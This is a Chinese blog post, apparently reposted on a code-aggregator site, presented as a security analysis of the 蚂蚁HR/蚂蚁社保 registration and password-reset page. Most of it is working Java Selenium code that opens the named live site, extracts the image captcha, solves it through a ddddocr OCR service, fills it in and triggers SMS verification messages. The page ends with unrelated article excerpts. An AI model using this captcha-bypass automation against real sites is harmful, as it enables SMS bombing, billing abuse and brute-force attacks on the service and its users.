【蚂蚁HR-注册/登录安全分析报告】

news2024/9/29 3:36:46

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 蚂蚁HR PC 注册入口

简介:蚂蚁社保是武汉微蚁企业服务有限公司旗下的网站,主要提供五险一金的代缴、补缴、社保开户、社保挂靠和社保代理服务。该平台主要覆盖一二线城市,目前已覆盖13+城市。蚂蚁社保的特点是高度自动化和在线化,创始人团队致力于通过程序和硬件替代所有可以自动化的环节,从而最大限度地减少人为错误。所有操作流程都在线并有记录可循,确保透明度和可追溯性。其服务费用为80元/月,终身会员费为300元。

在这里插入图片描述该网站不知道是何原因,手机号注册居然需要用户关注公众号,重新输入手机号及验证码才能完成,完全颠覆了原本接受手机号验证完成注册的流程,不过忘记密码依赖存在,采用的是 图形验证码的验证方式

在这里插入图片描述

在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为4个数字英文,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互



		private static String INDEX_URL = "https://i.mayihr.com/#/entry/passback";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			Thread.sleep(1 * 1000);

			// 登录/注册
			WebElement tabElement = driver.findElement(By.className("hd-login-btn"));
			tabElement.click();

			// 手机验证码登录
			WebElement tab2Element = driver.findElement(By.className("change-mobile"));
			tab2Element.click();

			// 1 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.name("mobile"), 1);
			phoneElemet.sendKeys(phone);

			String imgCode = null, imgUrl;
			byte[] imgByte = null;
			// 2 获取图形验证码
			WebElement imgElement = driver.findElement(By.xpath("//img[@class='imgverifycode']"));
			for (int i = 0; i < 3; i++) {
				imgUrl = imgElement.getAttribute("src");
				imgByte = (imgUrl != null) ? GetImage.callJsByUrl(driver, imgUrl) : null;
				int len = (imgByte != null) ? imgByte.length : 0;
				imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;
				imgCode = DigitFormat.getDigit(imgCode);
				if (imgCode != null && imgCode.length() >= 4) {
					break;
				}
				imgElement.click();
				Thread.sleep(1 * 1000);
			}

			if (imgCode == null || imgCode.length() < 1) {
				System.out.println("imgCode=" + imgCode);
				return retEntity;
			}

			// 3 输入识别出来的图形验证码
			WebElement codeInElement = driver.findElement(By.name("imgcode"));
			codeInElement.sendKeys(imgCode);

			// 4 点击获取验证码
			Thread.sleep(1 * 1000);
			WebElement getCodeElement = driver.findElement(By.className("getcode"));
			if (getCodeElement != null)
				getCodeElement.click();

			// 5 获取结果
			Thread.sleep(500);
			WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'秒后重新发送')]"), 20);

			String gtInfo = (gtElement != null) ? gtElement.getText() : null;
			retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
			if (gtInfo != null && gtInfo.contains("秒后重新发送")) {
				retEntity.setRet(0);
				ddddOcr.saveFile("Redocn", imgCode, imgByte);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

	

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {
		return callJsById(driver, id, null);
	}

	public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
		String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
		js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
		js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
		js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
		js += "let base64String = c.toDataURL();return base64String;";
		String src = ((JavascriptExecutor) driver).executeScript(js).toString();
		String base64Str = src.substring(src.indexOf(",") + 1);
		if (base64 != null) {
			base64.append(base64Str);
		}
		byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
		return vBytes;
	}


3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("ddddUrl=" + ddddUrl);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);

			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10000);
			con.setReadTimeout(10000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

			out = con.getOutputStream();

			if (bigImage != null && bigImage.length > 0) {
				out.write(boundarybytesString.getBytes("UTF-8"));
				String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
				paramString += "Content-Type: application/octet-stream\r\n\r\n";
				out.write(paramString.getBytes("UTF-8"));
				out.write(bigImage);
			}

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));

			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}
	

	public void saveFile(String factory, String imgCode, byte[] imgByte) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File ocrFile = new File(basePath + imgCode + ".png");
			FileUtils.writeByteArrayToFile(ocrFile, imgByte);
		} catch (Exception e) {
			logger.error("saveFile() " + e.toString());
		}
	}


4. 图形OCR识别结果:

在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

蚂蚁社保是武汉微蚁企业服务有限公司旗下的网站,主要提供五险一金的代缴、补缴、社保开户、社保挂靠和社保代理服务。该平台主要覆盖一二线城市,目前已覆盖13+城市。蚂蚁社保的特点是高度自动化和在线化,创始人团队致力于通过程序和硬件替代所有可以自动化的环节,从而最大限度地减少人为错误,作为头部的社保代缴平台, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2175690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

每日一练:从前序遍历与中序遍历序列构造二叉树

105. 从前序与中序遍历序列构造二叉树 - 力扣&#xff08;LeetCode&#xff09; 题目要求&#xff1a; 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返回其根节…

在 Delphi BSD11中安装 DCU 格式的第三方组件库

在 Delphi BSD 11 中安装 DCU 格式的第三方组件库可以按照以下步骤进行&#xff1a; 打开 Delphi&#xff1a;启动 Delphi 开发环境。 选择安装组件&#xff1a; 在菜单栏中&#xff0c;选择 Component -> Install Component。 选择 DCU 文件&#xff1a; 在弹出的对话框中…

【重学 MySQL】四十一、子查询举例与分类

【重学 MySQL】四十一、子查询举例与分类 引入子查询在SELECT子句中引入子查询在FROM子句中引入子查询在WHERE子句中引入子查询注意事项 子查询分类标量子查询列子查询行子查询表子查询 子查询注意事项子查询的位置子查询的返回类型别名的使用性能考虑相关性错误处理逻辑清晰 总…

Vue 学习

vue 核心语法 <!DOCTYPE html> <html> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Vue 核心语法测试</title> </head><body&…

GGHead:基于3D高斯的快速可泛化3D数字人生成技术

随着虚拟现实(VR)、增强现实(AR)和数字人技术的发展,对高质量、实时生成的3D头部模型的需求日益增长。传统的3D生成方法往往依赖于复杂的2D超分辨率网络或大量的3D数据,这不仅增加了计算成本,还限制了生成速度和灵活性。为了解决这些问题,研究人员开发了一种名为GGHead…

14.安卓逆向-frida基础-编写hook脚本2

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a;图灵Python学院 本人写的内容纯属胡编乱造&#xff0c;全都是合成造假&#xff0c;仅仅只是为了娱乐&#xff0c;请不要盲目相信。 工…

图技术与大语言模型 LLM 结合,打造下一代知识图谱应用

随着 AI 人工智能技术的迅猛发展和自然语言处理领域的研究日益深入&#xff0c;如何构建强大的大语言模型对于企业来说愈发重要&#xff0c;而图数据库作为处理复杂数据结构的有力工具&#xff0c;为企业构建行业大语言模型提供了强大的支持。 近日&#xff0c;国产企业级分布…

UE学习篇ContentExample解读------Blueprints Advanced-下

文章目录 总览描述批次阅览2.1 Timeline animation2.2 Actor tracking2.3 Button Trigger using a blueprint interface2.4 Opening door with trigger2.5 Child Blueprints 概念总结致谢&#xff1a; 总览描述 打开关卡后&#xff0c;引入眼帘的就是针对关卡的总体性文字描述&…

netdata(Linux 性能实时监测工具)一键安装 for armbian

下载地址netdata/netdata: Architected for speed. Automated for easy. Monitoring and troubleshooting, transformed! (github.com) sh netdata-armv7l-latest.gz.run^|.-. .-. .-. .-. . netdata| - - - - real-time performance monitoring, done righ…

指定PDF或图片多个识别区域,识别区域文字,并批量对PDF或图片文件改名

常见场景 用户有大量图片/PDF文件&#xff0c;期望能按照图片/PDF中的某些文字对图片/PDF文件重命名。期望工具可以批量处理、离线识别&#xff08;保证数据安全性&#xff09;。手工操作麻烦。具体场景&#xff1a;用户有工程现场照片&#xff0c;订单&#xff0c;简历等PDF或…

动手学深度学习-GPU常见报错-CUDA11.4-AssertionError: Torch not compiled with CUDA enabled

目录 本文还能解决&#xff1a; 0. 问题原因 1. 查看机器的cuda版本 2. 从官网下载对应的torch和torchvision 3. 具体安装方法 本文还能解决&#xff1a; torch.cuda.is_available() 输出为 False&#xff1b; torch.cuda.device_count() 输出为 0 0. 问题原因 这两个问题…

召回09 双塔模型+自监督学习

引入&#xff1a; 自监督学习改进双塔模型&#xff0c;可以提升业务指标。自监督学习是把物品塔学习得更习的更好。 长尾物品的曝光和点击数量太少&#xff0c;训练的样本次数不够。自监督可以更好地学习长尾数据的物品表征。 双塔模型的训练&#xff1a; 线上召回的时候不用纠…

SSM+Vue社区物业管理系统

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 spring-mybatis.xml3.5 spring-mvc.xml3.5 Vue 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平台Java领域优质创作…

SpringCloud简介 Ribbon Eureka 远程调用RestTemplate类 openfeign

〇、SpringCloud 0.区别于单体项目和soa架构&#xff0c;微服务架构每个服务独立&#xff0c;灵活。 1. spring cloud是一个完整的微服务框架&#xff0c;springCloud包括三个体系&#xff1a; spring cloud Netflix spring cloud Alibaba spring 其他 2.spring cloud 版本命名…

【每日刷题】Day133

【每日刷题】Day133 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. LCR 085. 括号生成 - 力扣&#xff08;LeetCode&#xff09; 2. LCR 102. 目标和 - 力扣&#xff…

Spring的热部署工具和数据库密码加盐操作

1.布置热部署 引言&#xff1a;在程序运行起来后&#xff0c;如果我们对代码进行了修改&#xff0c;需要重新测试修改后的程序&#xff0c;就得重新启动程序&#xff0c;这样很麻烦。于是引入热部署之后&#xff0c;我们就不需要重新启动程序&#xff0c;会自动更正。 1.配置po…

多线程;顺序容器;智能指针

多线程的创建创建线程比较简单&#xff0c;C提供头文件thread&#xff0c;使用std的thread实例化一个线程对象创建。 std::thread 在 #include 头文件中声明&#xff0c;因此使用 std::thread 时需要包含 #include 头文件。 #include <iostream> #include <thread&g…

【C++】C++的Vector使用和实现

目录 vector的介绍 vector的使用 construct iterator capacity Element access mondifiers vector的原理介绍以及简单实现 vector的介绍 我们平时在写代码中可能会使用各种类型的array&#xff0c;也就是数组&#xff0c;但是这些数组都是静态的&#xff0c;意味着我们只能…

A股突破3000,连续大涨,公司国庆假放10天

关注▲洋洋科创星球▲一起成长&#xff01; 庆祝A股突破3000&#xff0c;连续大涨&#xff0c;也不知道老板抽了什么风&#xff0c;公司今天开始放国庆假了&#xff0c;连休10天&#xff0c;哈哈哈哈哈哈。 27号开始放国庆假&#xff0c;连休10&#xff0c;刺激。 中秋国庆这一…

在线代码编辑器

在线代码编辑器 文章说明前台核心代码后台核心代码效果展示源码下载 文章说明 采用Java结合vue3设计实现的在线代码编辑功能&#xff0c;支持在线编辑代码、运行代码&#xff0c;同时支持导入文件&#xff0c;支持图片识别&#xff0c;支持复制代码&#xff0c;可将代码导出为图…